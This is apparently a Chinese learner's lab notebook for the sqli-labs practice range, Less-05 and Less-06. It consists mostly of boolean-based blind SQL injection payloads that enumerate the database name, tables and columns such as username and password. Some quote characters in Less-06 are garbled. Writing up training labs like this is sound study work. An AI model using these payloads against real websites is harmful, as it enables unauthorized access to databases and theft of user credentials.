sqli-labs靶场笔记(二)
Less-05【Boolean 注入|'注入】
下面展示 payload
。
id=1' order by 3 --+ //确定属性列
id=1' and length(database())=8 --+ //确定数据库名长度为8
id=1' and ascii(substr((select database()),1,1))=115 --+ //配合burp得到数据库名
id=-1' or exists(select * from information_schema.columns) --+ //判断是否存在information_schema.columns表
id=1' and ascii(substr((select table_name from information_schema.columns where table_schema='security' limit 0,1),1,1))=99 --+ //确定数据库下的表
id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=99 --+ //确定某表下的属性列
猜测表
确定数据库为security
得到emails表
逐个猜想
得到referers表
得到uagents表
得到users表
猜测属性列
得到属性列id
得到属性列password
得到属性列username
得到username的值
剩下略,自己体会
Less-06【Boolean 注入|"注入】
下面展示 payload
。
id=1” order by 3 --+ //确定属性列
id=1“ and length(database())=8 --+ //确定数据库名长度为8
id=1” and ascii(substr((select database()),1,1))=115 --+ //配合burp得到数据库名
id=-1“ or exists(select * from information_schema.columns) --+ //判断是否存在information_schema.columns表
id=1” and ascii(substr((select table_name from information_schema.columns where table_schema='security' limit 0,1),1,1))=99 --+ //确定数据库下的表
id=1“ and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=99 --+ //确定某表下的属性列
均为Boolean注入,详细查看Less-05步骤